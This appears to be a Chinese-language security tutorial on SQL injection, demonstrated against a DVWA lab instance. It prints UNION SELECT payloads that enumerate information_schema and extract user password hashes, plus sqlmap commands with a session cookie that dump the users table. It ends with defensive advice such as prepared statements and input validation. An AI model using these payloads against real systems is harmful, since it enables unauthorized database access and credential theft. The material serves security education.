当前位置: 首页 > 科技观察

网络安全攻防:WebSecuritySQLInjection

时间:2023-03-19 16:30:42 科技观察

几乎所有的Web应用程序都依赖数据库来管理应用程序中处理的数据。在许多情况下,此数据负责处理核心应用程序逻辑、保存用户帐户、权限、应用程序配置设置等。大多数数据库保存的数据都是结构化的,可以使用预定义的查询格式或语言访问,并包含管理这些数据的内部逻辑。本文介绍SQL注入攻击如何利用语言漏洞获取数据库中的数据。1.原理首先,SQL语言是一种解释型语言。所谓解释型语言就是一种运行时组件(runtimecomponent)在运行时解释语言代码并执行指令的语言。这与编译语言形成对比,编译语言的代码在生成时被转换为机器指令,然后由计算机处理器在运行时使用该语言直接执行。理论上,任何语言都可以使用编译器或解释器来执行,这种区别不是语言本身的固有属性。但是大多数语言都是通过以上一种方式来完成的,SQL语言就是这样。基于解释型语言的执行方式,会产生一系列称为代码注入的漏洞,SQL注入就是其中之一。在任何实际的Web应用中,都会有一个用户交互链接,它会接收用户提交的数据,进行处理并执行相应的操作。因此,解释器处理的数据实际上是由程序员编写的SQL语句代码和用户提交的数据组成的。这时,攻击者可以提交专门设计的SQL语句来攻击Web应用程序。结果,解释器将这部分输入解释为程序指令执行,就像程序员最初编写的代码一样。因此,SQL注入漏洞就形成了。除了语言本身,SQL注入的另一个原因是未过滤的问题。在编写Web应用程序时,由于自主访问控制的特性,程序员往往会对用户输入的信息进行一定程度的过滤,过滤掉一些危险的字符,如or、单引号、注释符号等。但往往有些没有经验的程序员会忽略这个问题,只是进行简单的过滤,从而给攻击者可乘之机。SQL注入漏洞由来已久。在Web应用高速发展的今天,SQL注入漏洞已经很难再见到了。但学习的目的是了解其根源以及如何防止此类漏洞。2.注入分类接下来我们来了解一下具体的SQL实现和分类。在实战中,注入点主要有数字、字符、搜索三种不同类型。在编写实际的Web应用程序时,程序员会根据不同的数据类型编写如下不同的查询代码。“?”表示需要输入的数据。数值类型:SELECT*FROMuserWHEREid=?字符类型:SELECT*FROMuserWHEREusername='?'搜索类型:SELECT*FROMuserWHEREusername='%?%'输入数据时,每种类型对数据都有一定的规范,所以,有了这样的划分,在接下来的示例介绍中,我们将着重区分数字类型和字符类型。需要提前说明的是,这里虽然将注入点分为了几种,但是注入的步骤和原理都是一样的。因此,这种区分只是从数据的角度。下面我们就SQL注入执行的步骤进行实例分析。在整个分析过程中,我们会细分数值型和字符型,先分析手动SQL注入,再教大家如何使用工具。对于搞安全的人来说,工具只是实现渗透的一种手段,不能过分依赖工具的运行。工具也由安全人员编写,以简化步骤。对于刚接触安全的人来说,工具会更方便,只有了解原理才能真正掌握这个漏洞。在SQLInjectioninDVWA中,在输入框中输入1,然后提交,如图1所示。图1ID:1这里首先要判断注入点的类型。按照一般的步骤,在输入数字的时候,会被认为是一个数字注入点,所以先对注入点进行数字化操作。在里面输入1and1=1,如图2所示。图21D:1and1=1在图2中我们可以看到ID数据变成了1and1=1,显然这里的ID是一个字符类型。所以判断注入点类型是字符类型。接下来判断注入点是否有效。因为在实际操作中,虽然有些应用程序允许这样的输入操作发生,但它会在内部逻辑中过滤掉这部分。可以使用经典操作来判断注入点是否有效。当在里面输入1'and'1'='1时,如图3。图3ID:1'and'1'='1,然后输入1'and'1'='2,如图图4图4ID:1'and'1'='2这里会出现两个不同的结果,这两个结果证明这个注入点是有效的。and1=1是永远真命题,and后面的条件永远为真,and1=2正好相反,1=2是永远假命题,and后面的条件不为真。对于Web应用,如果条件不成立,则不会将结果返回给用户,因此图4中看不到任何数据。以上操作是判断SQL注入点的基本操作。对于不同的数据库,后续操作的执行方式不同。数据库大致可以分为Access数据库、MySQL数据库、SQLServer数据库、Oracle数据库等。Access数据库是Web应用中使用比较早的数据库。早期的Web应用程序主要由显示大量文本数据的静态网页组成。但近年来,Access数据库的使用逐渐减少,因为它不能适应大量用户的访问,安全性也没有其他数据库高。而且现在MySQL数据库用的比较多。SQLServer和Oracle比较适合大公司。MySQL数据库允许使用联合查询,查询更方便。接下来,我们继续之前的操作。判断完注入点后,我们需要判断数据表的列数,输入1'orderby1#,如图5所示。图5ID:1'orderby1#orderby是命令根据列值查找,#作为注释,防止后面的语句干扰。可以继续尝试输入:1'orderby6#运行结果如图6所示。图6列值查找会报错找不到列值为6的列。这是因为表中没有6列。按照这个步骤,可以从1开始,逐渐递增,直到有一个数报错。这样就可以知道表中有多少列。当然,DVWA测试过可以知道一共有2列。知道列数后,我们需要查看MySQL数据库的版本,因为MySQL5.0以后的版本有information_schema数据库,里面存放了所有数据库的数据表名和列名,如图7所示。图7information_schema数据库使用该数据库进行数据检索,所以进入前需要查看应用使用的MySQL数据库版本:1'unionselectversion(),2#提交结果,如图8。图8查看版本可以看到数据库版本是5.0.51a-3ubuntu5。知道版本后,就可以使用information_shchema来完成后续操作了。Input:1'unionselecttable_name,2frominformation_schema.tableswheretable_schema=database()#提交结果,如图9。图9查看表名可以看到图中显示了两个表名。那么我们来理解上面输入的语句。information_schema数据库包含数据表表。条件是表的数据库名与database()相同,database()是当前查询的数据库。然后查询列名,输入:1'unionselectgroup_concat(column_name),2frominformation_schema.columnswheretable_name='users'#运行结果,如图10所示。图10查看列名,可以看到一共6个列名。输入语句其实和上面这句类似,就是在数据表中查找列名。有了这些数据,就可以列出想要的数据了,输入:1'unionselectuser,passwordfromusers#运行结果,如图11所示。图11列出了数据。这里的密码是用MD5加密的,可以用工具在线解密。3.SQL注入工具SQL注入工具有很多,Pangolin和SQLMap工具比较好用。这两个工具对于初学者来说并不难。Pangolin是一种安全工具,可以帮助渗透测试人员进行SQL注入(SQLInjeciton)测试。Pangolin和JSky(Web应用安全漏洞扫描器,Web应用安全评估工具)都是NOSEC的产品。Pangolin具有友好的图形界面,支持测试几乎所有的数据库(Access、MsSQL、MySQL、Oracle、Informix、DB2、Sybase、PostgreSQL、SQLite)。穿山甲通过一系列非常简单的操作就可以达到最大的攻击测试效果。它给出了从检测注入到最终控制目标系统的测试步骤。穿山甲是目前国内使用最广泛的SQL注入测试安全软件。SQLMap是一种自动SQL注入工具,可执行广泛的数据库,管理系统后端指纹,检索DBMS数据库、用户名、表、列,并枚举整个DBMS信息。SQLMap提供转储数据库表和从MySQL、PostgreSQL、SQLServer服务器下载或上传任何文件以及执行任意代码的能力。在windows命令行中输入:>sqlmap.py-u"http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-b--current-db运行结果,如图12。图12获取数据库名称这里可以看到数据库名称为“dvwa”,然后输入:sqlmap.py-u》http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-Ddvwa--tables运行结果,如图13。图13获取数据库表名,即可看到数据库中有两张表,然后输入:sqlmap.py-u"http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-Ddvwa-Tusers--列结果,如图14所示。图14获取数据库列名,可以看到一共有6个列名,然后直接dump数据即可。输入:sqlmap.py-u"http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-Ddvwa-Tusers-Cuser,密码--dump运行结果,如图15所示。图15SQLMap运行结果SQLMap自带字典,用于破译较弱的密码。从操作上看,SQLMap是一个比较强大的自动注入工具,但是在安全级别较高的应用中,SQLMap的使用还是很有限的。4.防止SQL注入对于服务器级别的预防,应该保证生产环境中的Webshel??l禁用错误信息。比如PHP生产环境配置php.ini中的display_error关闭,这样就可以关闭服务器的错误提示。此外,还可以从编码方面防止SQL注入。使用预编译语句是防御SQL注入最好的方法,也就是使用预编译语句来绑定变量。例如JSP中使用的预编译SQL语句:Stringsql="SELECT*FROMuserswhereusername=?";PreparedStatementpstmt=connection.prepareStatement();pstmt.setString(1,admin);从上面的代码中,你可以看到“?”后面输入的变量是相互绑定的。如果攻击者随后使用and1=1这样的注入语句,应用程序将使用整个部分作为用户名来检索数据库,并且不会出现修改语义的问题。对于程序中某些不能预编译的部分,还有其他方法可以防止。检查变量类型和格式也是一个好主意。如果要求用户输入的数据是整数,那么可以在查询数据库前检查获取的变量是否为整数,如果不是整数则重新修正。还有一些特殊的格式类型,比如日期、时间、邮箱等格式。一般来说,只要有固定格式的变量,在SQL语句执行之前,就应该严格按照格式进行检查,这样可以最大程度的防止SQL注入攻击。另一种方法是过滤掉特殊符号。SQL注入时,经常需要一些特殊的符号来帮助我们编写语句,比如单引号(')、井号(#)、双引号(")等,这些符号可以通过转义或者使用正则表达式过滤掉。除了代码层面的预防,还需要在数据库层面进行权限管理,尽量减少在数据库中使用Root权限直接查询的次数,如果多个应用使用同一个数据库,应该为每个App分配数据库权限。